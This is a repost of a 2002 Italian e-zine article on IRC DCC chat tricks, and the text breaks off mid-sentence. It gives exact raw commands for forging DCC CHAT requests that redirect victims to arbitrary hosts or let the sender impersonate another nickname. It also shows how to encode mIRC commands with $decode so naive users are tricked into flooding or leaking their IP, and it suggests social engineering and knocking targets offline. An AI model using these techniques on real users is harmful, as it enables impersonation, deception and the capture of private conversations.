Gabole in IRC

When I was 16, I used to write articles under the nicknames Esorcista and XpTerminator.

The following is an article on how to spoof nicknames in IRC DCC chats, that got published on the 6th issue of OndaQuadra, an Italian e-zine.

 

+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE]                   #05 - 14/01/2002 |
| GAB0LE iN iRC                                  [Xp Terminator] 0x1C/0x23 |
+--------------------------------------------------------------------------+
|                                                                          |
|                     +++ Disclaimer +++                                   |
| Continuando  a  leggere  questo  testo  accetti le seguenti  condizioni: |
|                                                                          |
| tutte le azioni che  compirai durante e dopo  la lettura   di  questo    |
| testo saranno di tua completa responsabilita`,  nessuna  colpa  potra`   |
| essere quindi data ne all`autore del testo ne a chiunque altro citato.   |
|                            +++                                           |
|                                                                          |
|                                                                          |
|                        .: IRC :.                                         |
|                                                                          |
| Irc e` sicuramente uno dei protocolli di chat piu` utilizzati al mondo,  |
| ma  soprattutto  e`  stato  il  primo  protocollo di chat a tempo reale  |
| realizzato. L`Internet Relay Chat faceva la sua prima comparsa gia` nel  |
| 1988, poi, miglioratosi nel tempo, si e` sempre piu` diffuso,diventando  |
| cio`  che  e`  oggi. Questo sistema  di  chat  si basa su un server irc  |
| bindato solitamente sulla porta di default 6667 di un server,  al quale  |
| e` possibile connettersi tramite un client irc; appena connessi bisogna  |
| registrarsi, cioe' "presentarsi", (il client irc lo  fa automaticamente) |
| e  si  puo` iniziare a chattare joinando uno o piu` canali.              |
|                                                                          |
|                     .: Client IRC :.                                     |
|                                                                          |
| Il compito principale del client  irc  e`  quello  di un vero e proprio  |
| interprete dei comandi:  quando  inviamo  un  comando  come per esempio  |
| "/ping nickname", questo non viene inviato  cosi` com`e` al server irc,  |
| ma viene elaborato dal client:  la  stringa  inviata  al  server  e` in  |
| realta`  "PRIVMSG NICKNAME : PING 12345678 ",  dove  12345678 e' un      |
| numero  generato  dal  client  utilizzato come identificatore, cioe' che |
| aiuta a capire ad ogni ping quale pong appartiene, proprio come avviene  |
| nei veri ping con il campo Identifier dei pacchetti ICMP.                |
| Potete  verificare cio` sniffando la vostra connessione e osservando il  |
| pacchetto inviato per un ping, il risultato sara' simile al seguente:    |
|                                                                          |
| Source IP: xxx.xxx.xxx.xxx  Target IP: yyy.yyy.yyy.yyy                   |
| TCP Length:37 Source Port:1130 Target Port:6667 Seq:369FDEB6 Ack:        |
| E1CFF6F1                                                                 |
| Flags: PA  Window: 9112  TCP ChkSum: 63304  UrgPtr: 0                    |
|  00000000: 50 52 49 56 4D 53 47 20 70 72 65 73 69 64 65 6E  PRIVMSG      |
|  presiden                                                                |
|  00000010: 74 20 3A 01 50 49 4E 47 20 31 30 30 35 33 33 32  t :.PING     |
|  1005332                                                                 |
|  00000020: 38 38 38 01 0A                                   888..        |
|                                                                          |
| Lo  stesso naturalmente  vale  anche  per i  semplici messaggi inviati;  |
| quando  il  client  vede  che  la  stringa  non  inizia  con /  capisce  |
| che   e`   un messaggio    ed    invia    al    server    il    comando  |
| "PRIVMSG NICKNAME_O_#CHAN :MESSAGGIO",   dove  NICKNAME_O_#CHAN  e`  il  |
| nickname  della  persona a  cui vogliamo inviare il messaggio o il nome  |
| del canale a cui invarlo. Da  cio`  e`  facile capire che i comandi che  |
| digitiamo  non  sono  altro  che  dei comandi usati per convenzione dai  |
| client, col fine di semplificare la comunicazione col server ( cio` che  |
| avviene con tutti i client, questo e' il loro compito..).                |
| Un  modo  per  rendervi  piu`  chiare  le idee e` quello di telnettarvi  |
| sul  vostro  server  irc  preferito  e  di  provare ad inviare i soliti  |
| comandi che digitate nel client.                                         |
| Sia  il  protocollo  IRC  sia  i  vari  server  IRC  sono  in  continua  |
| evoluzione,  e  per  evitare  che  un  client  non  permetta  una certa  |
| operazione si puo` inviare  un  comando  direttamente al  server, senza  |
| l`elaborazione  del client, grazie  al  comando convenzionale "/quote "  |
| o "/raw ". Basta anteporre uno di questi due comandi al comando  che si  |
| vuole  inviare  al  server. Per  provare,  digitate  nel  vostro client  |
| "/raw PRIVMSG VOSTRO_NICK :Ciao :)": dopo un attimo  vi  si aprira` una  |
| query  e  vi arrivera` il messaggio "Ciao :)" da voi stessi (sempre che  |
| abbiate sostituito  VOSTRO_NICK  col vostro nickname :P),  naturalmente  |
| non rispondetegli :P.                                                    |
|                                                                          |
| Ok, l'introduzione  basilare  al  testo,  la  parte  piu`  teorica , e`  |
| finita, passiamo  ora  a  vedere qualcosa di  maggiormente interessante  |
| e curioso che ho scoperto utilizzando irc.                               |
|                                                                          |
| Poiche` i comandi reali inviati al server e quindi le opzioni di questi  |
| vengono trattati dal nostro client, e` improbabile poter  scoprire  bug  |
| o tricks del protocollo o di un server irc, proprio come,  per esempio,  |
| (esempio classico..)  non possiamo  inviare  fake  mail  utilizzando un  |
| client mail (almeno che non si modifichino le impostazioni).Per la fake  |
| mail  ricorriamo  all`utilizzo  di telnet, mentre, per irc, il tutto e`  |
| ancora  possibile  rimanendo  nell`ambito del client irc utilizzando il  |
| comando appena visto "/raw".                                             |
| Per  testare  i  vari  comandi  e  quindi poterne trovare pro e difetti  |
| dobbiamo conoscerne la sintassi, quindi  o  leggiamo l`RFC inerente irc  |
| oppure, piu`  facilmente,  sniffiamo  la  nostra   connessione  durante  |
| l`utilizzo del comando e osserviamo  i pacchetti che il client invia al  |
| server.                                                                  |
|                                                                          |
|                                                                          |
|                      .: uSO AltERNAtiVo DELLA dCC CHAt :.                |
|                                                                          |
| La  dcc  chat e` una chat privata che a differenza della query  avviene  |
| senza nessun tramite tra i due utenti (nella  query  il  tramite  e` il  |
| server irc) e quindi e` possibile visionare l`indirizzo ip  dell`utente  |
| con cui si sta parlando. Quindi, sniffiamo un po` ;) ed  osserviamo  la  |
| sintassi del comando:                                                    |
|                                                                          |
| Source IP: xxx.xxx.xxx.xxx  Target IP: yyy.yyy.yyy.yyy                   |
| TCP Length:54 Source Port:1300 Target Port:6667 Seq:70ECA4EC Ack:        |
| C64F6192                                                                 |
| Flags: PA  Window: 8841  TCP ChkSum: 56804  UrgPtr: 0                    |
|                                                                          |
|  00000000: 50 52 49 56 4D 53 47 20 58 70 54 65 72 6D 69 6E  PRIVMSG      |
|  XpTerminator                                                            |
|  00000010: 61 74 6F 72 20 3A 01 44 43 43 20 43 48 41 54 20  ator :.DCC   |
|  CHAT                                                                    |
|  00000020: 63 68 61 74 20 32 33 35 34 35 35 34 31 35 38 20  chat         |
|  2354554158                                                              |
|  00000030: 33 39 33 36 01 0A                                3936..       |
|                                                                          |
| Le prime tre righe  rappresentano l'header del pacchetto, quindi source  |
| ip,  target ip,  flag settati,  checksum, ecc., il resto e' il campo del |
| pacchetto riguardante i dati. I numeri  centrali  sono  i  codici ascii  |
| in  esadecimale  della  stringa della terza colonna, cioe` della nostra  |
| sintassi.  Come   vediamo   quindi   la   sintassi   e`                  |
| "PRIVMSG NICKNAME : DCC CHAT chat 12345 12345 "                          |
| Come  notate  nel  pacchetto  che  abbiamo  sniffato  al posto dei " "   |
| vi  sono  dei  punti (anche nel pacchetto visto precedentemente, quello  |
| del ping),pero` se osservate la colonna centrale e il rispettivo codice  |
| ascii  in  esadecimale  vedete  che  il valore e` 01 che in decimale e`  |
| sempre 01 ma  che  normalmente  in  un  normale editor  di testo non si  |
| riesce  a  visualizzare  come  codice  ascii (provate nel vostro editor  |
| ALT + 1),  e  neanche  lo  sniffer  riesce  a  visualizzarlo  quindi lo  |
| sostituisce con un punto. Per visualizzarlo e quindi poterlo utilizzare  |
| nel vostro client, esistono diversi metodi,che possono cambiare secondo  |
| il  sistema  operativo  e  il  client  irc  in utilizzo. Con X-Chat per  |
| visualizzarlo, basta cliccare sulla  freccetta  che  si  trova al  lato  |
| della text box dove si scrivono i messaggi, cliccare sul  tasto ASCII e  |
| quindi sul tasto relativo al carattere 1, questo sara' visualizzato come |
| un piccolo rombo (potrebbe essere diverso). Con mIRC  si puo' utilizzare |
| il comando "//echo $chr(1)" per visualizzare il carattere, questo verra' |
| rappresentato con un quadratino. Naturalmente non ho  potuto verificare  |
| con tutti i client, ma  per  visualizzare il carattere si puo' anche per |
| esempio utilizzare la funzione per visualizzare caratteri ascii,  quasi  |
| sempre chr,presente praticamente in tutti i linguaggi di programmazione  |
| "chr(1)" (naturalmente  e`  una  funzione  e  come  tale restituendo un  |
| valore   va   inserito   nella   procedura  per  visualizzare  a  video  |
| [per esempio in Pascal "writeln(chr(1));"])(questo e` un metodo che non  |
| sempre mi ha funzionato, sempre a causa dell'incapacita' di visualizzare |
| il  carattere). Esisteranno   sicuramente   anche   altri   metodi  per  |
| visualizzarlo ma io non ne conosco altri.                                |
| Il carattere ascii 1 e' questo "", se non vedete nessun  carattere tra |
| le virgolette significa che il vostro editor non ne ha la possibilita'.  |
| Detto  questo  continuiamo  l`analisi  della  sintassi. La  prima parte  |
| "PRIVMSG NICKNAME" specifica che  stiamo inviando un  messaggio privato  |
| al nickname, la  seconda  parte invece, che  si  trova  tra i caratteri  |
| ascii 1 ("DCC CHAT chat 1234 12345") va analizzata piu` a fondo.         |
| "DCC CHAT chat" specifica appunto che stiamo inviando una  richiesta di  |
| DCC CHAT, mentre i due numeri successivi sono rispettivamente il nostro  |
| indirizzo ip in formato long e la porta che abbiamo messo  in listening  |
| in  attesa  che l`utente  accetti  la  dcc chat e ci si connetti : cio`  |
| avviene  perche`  la  connessione  dcc chat  dalla  parte client e` una  |
| connessione passiva; e` facile capire il perche`: se sarebbe  stata una  |
| connessione attiva, il  client  sarebbe  stato in  grado  di  conoscere  |
| l`indirizzo ip dell`utente irc anche senza che questo  avesse accettato  |
| la dcc chat. Spiego meglio:  l`utente che ricevera` la richiesta di dcc  |
| chat, se accetta, dovra` conoscere  il  nostro ip  e  la  nostra  porta  |
| locale alla quale connettersi per la conversazione privata. Normalmente  |
| si pensa che sia direttamente il server  irc  a inviarlo all`utente, ma  |
| per diversi motivi, come per esempio quello che il server irc  non puo`  |
| sapere su che porta noi stiamo attendendo  la  connessione, lo  inviamo  |
| invece  noi. Il  fatto  che  noi  specifichiamo  a che ip e porta debba  |
| connettersi l`utente dovrebbe gia` farci  venire un paio  di belle idee  |
| in  testa, infatti, grazie  a  questo comando,  potremo  effettuare  un  |
| semplice ip spoofing (se cosi` lo si puo` definire..).                   |
| In  pratica  cambiando questi due dati, se il ricevente della richiesta  |
| accetta,  non  si  trovera` in dcc chat con noi, ma con il demone sulla  |
| porta 12345 della macchina 12345 che specificheremo, in parole povere :  |
| facciamo connettere la persona a cui inviamo la richiesta dove vogliamo, |
| trasformando la semplice dcc chat in un telnet;naturalmente la finestra  |
| della dcc chat (il nostro telnet ;)non fungera` anche come emulatore di  |
| terminale, quindi non potremo far connettere la persona  a  determinati  |
| servizi, o meglio, si connettera`, ma le risposte  che  gli inviera` il  |
| server saranno incomprensibili per lui. Nell`analisi  di  prima abbiamo  |
| visto che l`indirizzo ip da inviare si deve specificare in formato long, |
| quindi,prima di poter continuare,vediamo come sia possibile convertirlo  |
| in questo formato.                                                       |
| Per convertire un indirizzo ip dal formato normale a 32 bit al  formato  |
| long, si prosegue in questo modo: immaginiamo  che  l`indirizzo  ip  da  |
| convertire sia 100.20.30.40;sappiamo che l`indirizzo ip e` formato da 4  |
| numeri  da  8  bit  ciascuno, moltiplichiamo  il primo per 16777216, il  |
| secondo per 65536, il terzo per 256 ed il quarto per 1, quindi facciamo  |
| la somma di questi quattro prodotti.                                     |
| Nel nostro esempio:                                                      |
|                                                                          |
| (100 * 16777216) +                                                       |
| (20  *    65536) +                                                       |
| (30  *      256) +                                                       |
| (40  *        1) =                                                       |
| 1677721600 + 1310720 + 7680 + 40 = 1679040040                            |
|                                                                          |
| quindi                                                                   |
|  100.20.30.40  -> formato standard                                       |
|   =                                                                      |
|  1679040040    -> formato long                                           |
|                                                                          |
| Se  utilizzate come client irc  mirc, per  la  conversione  da  formato  |
| 32  bit  a  quello  long  e  viceversa,  si  puo'  utilizzare il comando |
| "//echo 2 $longip(IP)": se  forniamo  l`IP  in  formato  long ci verra`  |
| restituito in formato a 32 bit e se forniamo quello  a 32 bit ci verra`  |
| restituito in formato long.                                              |
| Spiegato  cio`  passiamo  alla  pratica. Esistono  diversi  scenari  di  |
| applicazione, vediamone qualcuno:                                        |
|                                                                          |
| In irc e` connesso  un  tizio con nickname NICKNAME (che fantasia :), e  |
| vogliamo farlo connettere per esempio  al server xxx.xxx.xxx.xxx  sulla  |
| porta 25. Per  prima  cosa  convertiamo  l`indirizzo xxx.xxx.xxx.xxx in  |
| formato long  ed otteniamo yyyyyyyyyyy, dopodiche`  scriviamo  in  irc:  |
| "/raw PRIVMSG NICKNAME : DCC CHAT chat yyyyyyyyyyy 25 "                  |
| oppure                                                                   |
| "/quote PRIVMSG NICKNAME : DCC CHAT chat yyyyyyyyyyy 25 "                |
| e NICKNAME ricevera` una richiesta DCC CHAT da parte vostra,  ma quando  |
| accettera` non sara` in chat  privata con voi, ma  sara`  connesso  sul  |
| server  da  noi  specificato  in  comunicazione  col  demone smtp sulla  |
| porta 25 (logicamente sempre se la porta sia aperta), e tutto  cio` che  |
| credera` di inviare a voi lo inviera` in realta` al server e tutto cio`  |
| che il server gli rispondera` gli sembrera` in realta` arrivare da voi.  |
|                                                                          |
|                                                                          |
| E` una giornata molto calda e siamo molto stanchi,  non  abbiamo voglia  |
| di  utilizzare  il  nostro  solito e monotono telnet (=P) e pensiamo di  |
| cambiare utilizzando la dcc chat ;). Quindi mettiamo caso che il nostro  |
| nick e` XpTerminator e ci vogliamo connettere al server xxx.xxx.xxx.xxx  |
| sulla  porta  25. Convertiamo  xxx.xxx.xxx.xxx in yyyyyyyyyy e  inviamo  |
| questo comando                                                           |
| "/quote PRIVMSG XpTerminator : DCC CHAT chat yyyyyyyyyy 25 ", ci         |
| arrivera` una richiesta di dcc chat da parte di noi stessi  e quando     |
| accetteremo saremo in chat privata con yyyyyyyyyy:25. I messaggi che ci  |
| arriveranno dal server ci appariranno come invati da  noi stessi, cioe`  |
| del tipo: "<XpTerminator> Server yyyyyyyyyy".                            |
|                                                                          |
| Se  riuscite  a  trovare  un  nuovo  utilizzo  o  scenario  per  questo  |
| piccolo   trick   contattatemi   all`indirizzo   email                   |
| xp_terminator@katamail.com , lo    pubblichero`    volentieri   in   un  |
| aggiornamento  di  questo  testo, con  naturalmente  un  ringraziamento  |
| riportato.                                                               |
|                                                                          |
|                                                                          |
|                      .: sCHERZETTi DEl MiRc :.                           |
|                                                                          |
| Il  client  Mirc  ha  due  funzioni  $encode  e  $decode che criptano e  |
| decriptano dei comandi usando Uuencode o Mime.                           |
| La sintassi di queste due funzioni e`:                                   |
|         $encode(msg[, mubt])                                             |
|         $decode(msg[, mubt])                                             |
|                                                                          |
| In realta` non e`  precisamente cosi`, ci sarebbe  un terzo  parametro,  |
| opzionale,  ma  che  non  ci  interessa  per  il nostro fine. Msg e` il  |
| messaggio  che  vogliamo  criptare  o  decriptare,  mentre  il  secondo  |
| parametro  puo`  avere   come   valori m , u , b , t.  M sta  per Mime,  |
| U sta per uucode(la scelta di default se si tralascia questo parametro)  |
| le altre due B e T le sorvoliamo non interessandoci.Proviamo a scrivere  |
| il comando "//echo $encode(/amsg Ciao)" (ricordo  che  naturalmente  il  |
| tutto   funziona   solo   con   mirc),  il   client   ci    restituira`  |
| "*+V%M<V<@0VEA;P``"  ovvero  "/amsg Ciao"  codificato  con uucode. Come  |
| vedete il secondo parametro l`abbiamo tralasciato ed il client ha quindi |
| utilizzato  come  default  U.  Proviamo   ora   il   comando "//echo     |
| $encode(/amsg Ciao,m)", questa  volta  mirc  ci rispondera` con          |
| "L2Ftc2cgQ2lhbw==", ovvero la codifica Mime. Proviamo ora invece a fare  |
| la cosa inversa, scriviamo "//echo $decode(L2Ftc2cgQ2lhbw==,m)" (notate  |
| la m come seconda opzione). Mirc ci restituira` "/amsg Ciao".            |
| Bene,abbiamo visto come funziona la codifica,ma ora passiamo alla parte  |
| piu`  interessante. Quel "//echo "  che   abbiamo  scritto  davanti  la  |
| funzione serve  a  far  stampare  in  locale cio` che essa ritorna come  |
| output, cioe` il messaggio criptato o decriptato. Ma se invece di farlo  |
| stampare il comando decriptato lo vogliamo eseguire?                     |
| Scriviamo il comando "//$decode(L2Ftc2cgQ2lhbw==,m)" e verra`  eseguito  |
| il comando "/amsg Ciao" cioe` verra` inviato in tutti  i  canali in cui  |
| ci troviamo il messaggio "Ciao". (per  fare  cio`  utilizzate sempre il  |
| mime come secondo parametro,naturalmente sia nella criptatura che nella  |
| decriptatura).Immaginate un attimo a quanta gente ingenua esiste in irc  |
| che utilizza mirc..praticamente quasi la meta` delle persone :).         |
| Vi  stupirete  vedendo  che  andando in query a molte persone e dicendo  |
| qualcosa tipo:                                                           |
| "Prova  a  scrivere  //$decode(messaggio_criptato,m) ,  ho scoperto che  |
| facendo cosi` diventi op del canale", quasi tutte lo faranno sul serio,  |
| ed  immaginate  tutte le possibilita` che  avrebbe  un  malintenzionato  |
| contro questi poveretti ;).                                              |
| Ecco vari esempi:                                                        |
|                                                                          |
| "/timer 0 0 /amsg Bye!" ripete infinitamente il comando "/amsg Bye!",se  |
| lo si esegue dopo qualche msg il server vi disconnette per flood.        |
| (proprio qualche tempo fa su azzurra in un paio di minuti si  e' diffusa |
| un'epidemia di questo comando :)))                                       |
| Criptiamolo col mime, viene fuori:                                       |
| "//echo $encode(/timer 0 0 /amsg Bye!,m)"                                |
|     |                                                                    |
|     v                                                                    |
| "L3RpbWVyIDAgMCAvYW1zZyBCeWUh"                                           |
|                                                                          |
| "//say $ip"  e`  un  comando  che  visualizza  il  proprio  numero  ip.  |
| Immaginate di voler sapere il numero ip di qualcuno abbastanza ingenuo,  |
| e non  volete  convincerlo  a fargli scrivere questo comando poiche` il  |
| suo significato e` troppo facile.                                        |
| Criptiamolo:                                                             |
| "//echo $encode(//say $ip,m)"                                            |
|          |                                                               |
|          v                                                               |
| "Ly9zYXkgMTUxLjIxLjIyNi40Mg==".                                          |
| E` sicuramente meno sospettabile il comando                              |
| "//$decode(Ly9zYXkgMTUxLjIxLjIyNi40Mg==,m)" rispetto a "//say $ip".      |
|                                                                          |
| Come  vedete  vi  sono  infinite possibilita`, che  lascio  alla vostra  |
| fantasia ;).                                                             |
| Naturalmente come sempre mi raccomando  di non andare in giro per irc a  |
| "lamerare".. Se trovate un utilizzo interessante di questa  codifica non |
|  esitate  a scrivermi   all`indirizzo   email                            |
| xp_terminator@katamail.com   ,   lo pubblichero`  volentieri  in  un     |
| aggiornamento  di  questo  testo, con naturalmente un ringraziamento     |
| riportato.                                                               |
|                                                                          |
|                                                                          |
|                      .: NiCk SpOOFiNG :.                                 |
|                                                                          |
| Siamo arrivati alla  parte  del testo  che  ritengo  piu` interessante.  |
| Dopo le varie nottate passate insonni a lavorare su  irc  per  scoprire  |
| vari escamotage di questi bug, ho  scoperto  qualcosa che  mi  ha molto  |
| incuriosito. E` possibile effettuare una dcc chat con un utente  ma non  |
| con  il proprio  nickname  ma con quello (anche registrato) di un`altra  |
| persona, che magari e` anche connessa su irc.Esaminiamo quindi entrambi  |
| i casi: primo caso in cui il nickname falso che vogliamo utilizzare sia  |
| non in uso, secondo caso in cui l`utente con quel nick sia connesso.     |
|                                                                          |
|                 .: PRiMo CaSo: EaSy NiCk SpOOFiNG :.                     |
|                                                                          |
| Quando l`utente e` disconnesso la cosa e` quantomai semplice. Anche  se  |
| l`utente  ha  settato  il  kill  on  avremo  60 secondi  di  tempo  per  |
| identificarci, oppure  per  fare  qualcosa di piu` utile ;).  Prima  di  |
| connetterci col suo nickname, facciamo pero` un paio di cose:            |
| 1) convertiamo il nostro indirizzo ip in formato long come  visto sopra  |
|    e appuntiamolo                                                        |
| 2) eseguiamo un semplice programma che permetta di mettere in listening  |
|    una porta qualunque del nostro sistema e di visualizzare i  messaggi  |
|    che  riceviamo  su  questa  porta  e  di  rispondervi.  Possiamo per  |
|    esempio utilizzare netcat, ecco il comando:                           |
|       nc -l -n -v -p porta                                               |
|    dove porta e' la porta da mettere in listening.                       |
|                                                                          |
|    Se non avete  un  programma  che possa farlo e` facile crearsene uno  |
|    proprio, velocemente: spiego  qui  di seguito  come crearsene uno in  |
|    Visual Basic:                                                         |
|                                                                          |
|   Create un progetto exe standard, aggiungete al form tre                |
|   controlli textbox: rispettivamente text1,text2 e text3.                |
|   Aggiungete  il  componente   winsock  nella  barra  dei                |
|   controlli (pulsante destro sulla  barra  dei  controlli                |
|   (dove vi sono textbox,ecc.) --> componeti -->  spuntate                |
|   la scelta "Microsoft Winsock Control x.x" --> Ok).                     |
|   Aggiungete  un  controllo  winsock  sul  form  con nome                |
|   winsock1, aggiungete due  pulsanti  con  nome  command1                |
|   e command2. Nel text3 modificate le proprieta`:                        |
|   multiline = true e scrollbars = 3 - both.                              |
|   Aggiungete infine il seguente codice:                                  |
|                                                                          |
| 0101000101010101010100101101010101001010101010101010101010101010         |
|  Private Sub Command1_Click()                                            |
|      Winsock1.LocalPort = Text1.Text                                     |
|      Winsock1.Listen                                                     |
|  End Sub                                                                 |
|  Private Sub Command2_Click()                                            |
|      Winsock1.SendData Text2.Text & vbCrLf                               |
|      Text3.Text = Text3.Text & Text2.Text & vbCrLf                       |
|  End Sub                                                                 |
|  Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)         |
|      If Winsock1.State <> sckClosed Then Winsock1.Close                  |
|      Winsock1.Accept requestID                                           |
|  End Sub                                                                 |
|  Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)              |
|      Dim dati As String                                                  |
|      Winsock1.GetData dati, vbString                                     |
|      Text3.Text = Text3.Text & dati                                      |
|  End Sub                                                                 |
| 0101000101010101010100101101010101001010101010101010101010101010         |
|                                                                          |
|                                                                          |
|   Il programma e' finito, ora per falo funzionare in text1               |
|   scriverete la  porta  locale  che  vorrete  aprire, con                |
|   command1 vi metterete  in  listening  su  quella porta,                |
|   quando si connettera` qualcuno ad essa  e  scrivera` un                |
|   messaggio questo apparira` in text3,  se volete inviare                |
|   un messaggio  come  risposta  lo  scrivete  in  text2 e                |
|   cliccherete su command2.                                               |
|   Naturalmente   questo   programma   e`  moolto  grezzo,                |
|   lavoratevelo  e  miglioratelo  in modo da renderlo piu`                |
|   efficiente...                                                          |
|                                                                          |
|                                                                          |
| Ok.  Abbiamo  sia  il  nostro  ip  in  formato  long, sia il nostro bel  |
| programmillo. Avviamo il programma e mettiamolo  in  listening  su  una  |
| porta qualunque, per esempio 1234.Prepariamo ora il comando che useremo  |
| appena connessi, questo comando sara`:                                   |
| "/raw PRIVMSG NICKNAME : DCC CHAT chat xxxx yyyy ",  dove NICKNAME e`    |
| il nick della persona con cui vogliamo instaurare  la  dcc  chat falsa,  |
| xxxx e` il  nostro ip in formato long, e yyyy e` la nostra porta locale  |
| in listening, quindi nel nostro esempio 1234.  Ora possiamo connetterci  |
| col nickname dell`utente che vogliamo impersonificare. Appena connessi,  |
| se l`utente  ha  settato il kill on, ci arrivera` un messaggio simile a  |
| questo:                                                                  |
|                                                                          |
| "-NickServ- Hai un minuto di tempo per cambiare nick, dopodiche` ti      |
| verra`                                                                   |
|  cambiato automaticamente."                                              |
|                                                                          |
| oppure a questo se e` un server inglese:                                 |
|                                                                          |
| "-NickServ-If you do not change within one minute, I will change your    |
|  nick."                                                                  |
|                                                                          |
| Non  ce  ne  preoccupiamo   ed   inviamo    il  comando, dopodiche`  ci  |
| disconnettiamo dal server. Torniamo  al nostro programma ed osserviamo:  |
| appena NICKNAME accettera` la dcc chat cio` che inviera`  (credera`  di  |
| stare a parlare con colui che impersonifichiamo)ci arrivera` in realta`  |
| a noi, e tutto cio` che gli risponderemo col  programma  gli  apparira`  |
| come  visualizzato  dal  nick impersonificato precedentemente (Nota che  |
| dopo  aver  inviato  il  comando con il nick impersonificato ed esserci  |
| disconnessi, potrebbe  connettersi  la  persona   reale   che   avevamo  |
| impersonificato, e la nostra chattata in dcc continuera` normalmente).   |
|                                                                          |
| Vediamo ora un semplice scenario di applicazione:                        |
| sono connessi su irc Tizio1 e Tizio2.Sentiamo in un canale qualcosa del  |
| genere: <Tizio1> Domani allora connettiti che ti dico quel fatto ;)      |
| <Tizio1> dopo le 18 io ci sono sempre                                    |
| <Tizio2> Ok allora mi connetto domani verso le 19                        |
| <Tizio2> bye                                                             |
| <Tizio1> ok bye                                                          |
| dove "quel fatto" e` qualcosa che potrebbe interessarci :).              |
| L`indomani noi ci colleghiamo  col  nick Tizio2  verso  le 18.15  senza  |
| entrare pero` nel canale. Scriviamo il comando                           |
| "/raw PRIVMSG TIZIO1 : DCC CHAT chat xxxx yyyy "dove xxxx e yyyy sono    |
| rispettivamente il nostro ip e la porta in listening,  e appena accetta  |
| la dcc chat gli diciamo "Ciao Tizio1 :), sono arrivato in anticipo ;)..  |
| parliamo di quel fatto allora..." ;)naturalmente a lui questo messaggio  |
| gli apparira` nella forma:                                               |
|                                                                          |
| <Tizio2> Ciao Tizio1 :), sono arrivato in anticipo ;)..parliamo di quel  |
|          fatto allora...                                                 |
|                                                                          |
| anche  se  noi  ci  saremo disconnessi dal server irc, anche se il nick  |
| impersonificato e` registrato o ha settato il kill on ed anche  se  nel  |
| frattempo il vero Tizio2 si sara` collegato.                             |
| (naturalmente  questo e` solo un piccolo esempio, tutti  gli altri casi  |
| possibili li lascio alla vostra immaginazione ;))                        |
|                                                                          |
| Ecco una spiegazione del perche` avviene tutto questo.                   |
| Praticamente la dcc chat e` qualcosa in realta`  non integrata con irc,  |
| infatti  con  essa  non  avviene  altro  che  una  normale  connessione  |
| utente - utente, senza nessun tramite tra i due,cosa che invece avviene  |
| nelle query o quando si parla  in canale (utente-server irc-ricevente);  |
| in parole ancora piu` semplici:  quando  inviamo  col  client  irc  una  |
| richiesta di dcc chat questo sceglie una porta per la comunicazione dei  |
| dati e la comunica all`utente ricevente della richiesta  insieme all`ip  |
| in  formato  long  (nella forma: utente - server irc - utente);  quando  |
| quest`ultimo riceve la richiesta, se la rifiuta  avverte  l`utente  del  |
| rifiuto con un messaggio sempre nella forma utente - server irc - utente |
| altrimenti  se  accetta  non  fa  altro  che  effettuare  una  semplice  |
| connessione all`ip e porta specificata nella richiesta dcc. Il  fattore  |
| piu` importante che entra in gioco e` questo: essendo  la  dcc chat non  |
| integrata in irc come appena detto, quando il  client  riceve  una  dcc  |
| chat e questa viene accettata, il nickname di colui che ha  inviato  la  |
| richiesta viene  salvato  in  memoria, e  durante  la  dcc  chat  viene  |
| visualizzato  davanti ai messaggi ricevuti...infatti,  proprio  per  il  |
| fatto  che (lo ripeto per l`ennesima volta, scusate..)  non  vi  e`  il  |
| server irc di tramite, l`utente in dcc chat che ricevera` i messaggi li  |
| ricevera` nella forma "MESSAGGIO" e non piu`                             |
| ":NICKNAME!MASK PRIVMSG #canale_o_nick : MESSAGGIO",  e   appunto  come  |
| appena visto, non sapendo nient`altro che il messaggio, il  client  irc  |
| inserisce  come  mittente il nickname di colui che aveva inviato la dcc  |
| chat. Spero di essere stato chiaro.                                      |
|                                                                          |
|                                                                          |
|                 .: SeCoNDo CaSo: HaRd/SoCiAl NiCk SpOOFiNG :.            |
|                                                                          |
| Vediamo ora  il  secondo caso: l`utente che vogliamo impersonificare e`  |
| connesso in irc. Avremo bisogno come  prima  di quel  programmillo, del  |
| nostro ip in formato long e di una media dose di culo collegata  ad  un  |
| buon social engineering.                                                 |
| A cosa ci serve il culo ed il social engineering?                        |
| Ci  serviranno  per  convincere  il  Tizio2  dell`esempi o precedente a  |
| scrivere un comando innocuo:                                             |
| "/raw PRIVMSG TIZIO1 :DCC CHAT chat xxxx yyyy " (innocuo fino  ad un   |
| certo punto, dato i danni impliciti [ovvero il nick spoofing ;)]).       |
| In pratica cio`  che  dobbiamo  fare  e` la stessa  cosa  di prima, con  |
| l`unica differenza che questa volta, visto che Tizio2 e`  connesso, non  |
| potremo scrivere il comando dal suo nick, ma  dovremo  convincere lui a  |
| scriverlo  per  noi ;). Se   conosciamo   Tizio2   saremo   molto  piu`  |
| avvantaggiati poiche` si  fidera`  maggiormente  di noi. Appena  Tizio2  |
| scrivera` la stringa lui non  notera`  niente, non  succedera`  proprio  |
| niente, infatti, la dcc chat, appena accettata da Tizio1,  arrivera` al  |
| nostro programmillo e non a lui. Se  Tizio2  utilizza  Mirc come client  |
| irc saremo ancora piu` avvantaggiati infatti potremo usare  la codifica  |
| vista  sopra  nella  sezione  "Scherzetti del Mirc"  di questo testo, e  |
| quindi dovremo riuscire a convincere Tizio2 a scrivere:                  |
| "//$decode(CODIFICA_DEL_COMANDO,m)"                                      |
| piuttosto che                                                            |
| "/raw PRIVMSG TIZIO1 : DCC CHAT chat xxxx yyyy "                         |
| e credo sia piu` facile, dato che in questo modo non  si  legge nemmeno  |
| Tizio1 nel comando e quindi Tizio2 avra` meno sospetti.                  |
|                                                                          |
|                                                                          |
|                 .: TeRZo CaSo: ExTrEmE NiCk SpOOFiNG :.                  |
|                                                                          |
| Nel  caso in  cui  si verifica  che l`utente Tizio2 sia  connesso e non  |
| riuscite a fargli scrivere il comando allora si puo` ricorrere a questo  |
| terzo estremo caso. Questo  consiste  nel  far  disconnettere  l`utente  |
| Tizio2 sfruttando per  esempio  un  bug del suo client irc o del server  |
| irc, magari  per risalire  al  suo ip e farlo disconnettere  in qualche  |
| modo, ve ne sono tanti..                                                 |
| Appena sarete riusciti a far disconnettere Tizio2,  al  piu`  presto vi  |
| connetterete  col  suo  nick  e  seguirete la procedura del primo caso,  |
| facendo   il   piu`   velocemente  possibile, in  modo  che  quando  si  |
| riconnettera` non notera` nulla di strano  (al  massimo,  se  vi  trova  |
| connessi,  credera`  che  voi  siate  il  suo ghost, attenti che vi puo' |
